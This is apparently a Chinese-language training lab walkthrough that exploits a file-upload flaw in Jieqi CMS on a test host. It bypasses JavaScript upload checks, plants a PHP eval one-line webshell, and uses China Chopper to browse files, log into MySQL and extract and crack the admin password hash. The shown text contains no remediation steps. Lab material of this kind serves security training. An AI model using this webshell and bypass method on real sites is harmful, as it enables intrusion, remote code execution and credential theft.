Abstract: 掌握杰奇 CMS 上传漏洞的利用方法,了解如何对此漏洞进行修复。

实验工具:中国菜刀 + Firebug

Table of Contents

  1. 非法文件上传漏洞
    1. 定位文件上传漏洞
    2. 三种方法绕过检测
      1. 删除函数绕过
      2. 抓包绕过
      3. 禁止 JS 功能绕过
    3. 使用中国菜刀

非法文件上传漏洞

定位文件上传漏洞

用浏览器打开网页 www.test.com,先注册用户,注册成功后,用该用户登录,用户首页如下:

可以看到,用户头像为默认,故首先定位到用户上传头像功能。点击 个人资料,进入 userdetail.php,页面显示如下:

判断用户在设置头像这里是否存在文件上传漏洞。

在桌面上新建一个名为 shell.php 的文件,写入一句话木马。再复制一份,命名为 shell.jpg 文件。

1
<?php @eval($_POST['cmd']);?>

在 C:\Tools\抓包改包\Burp Suite 中打开 burp ,设置浏览器为手动代理。

用 burpsuite 抓取上传 shell.jpg 的数据包,然后发送到 Repeater,然后在 Repeater 做各种尝试,查看 Response。

把文件后缀修改为 .php,文件上传不成功。因此尝试寻找其他位置。

在我的空间找到了上传相册功能,尝试在这里进行文件上传。

三种方法绕过检测

删除函数绕过

在上传相册页面,点击 浏览 选择 shell.php ,尝试在代码中找到前端 js 检测的代码。

发现 form 表单,提交时调用了 checkFile() 函数,直接把它删掉,

点击上传,发现上传成功。

抓包绕过

用 burpsuit抓包方法绕过,点击浏览,选择 shell.jpg 文件,点击上传。

在 burp 界面把文件后缀名改为 .php 。

发现上传成功。

禁止 JS 功能绕过

选中 Disable JavaScript,可以上传 .php 文件。

使用中国菜刀

打开菜刀,填写地址和密码,选择 php 脚本了类型。

添加成功后,选择文件目录,成功打开。

找到系统盘根目录下的 flag 文件。

双击打开文件。

返回主界面,右击选择数据库管理,

点击配置,填写如下内容。

1
2
3
4
<T>MYSQL</T>
<H>localhost</H>
<U>root</U>
<P>root</P>

点击提交,成功连接数据库。

发现 testjie 数据库,找到该库下的表 jieqi_system_users。

在输入框输入,如下 SQL 语句,点击执行,成功获取 admin 的密码。

1
SELECT pass FROM jieqi_system_users WHERE name='admin';

用在线的 MD5 解密工具解密。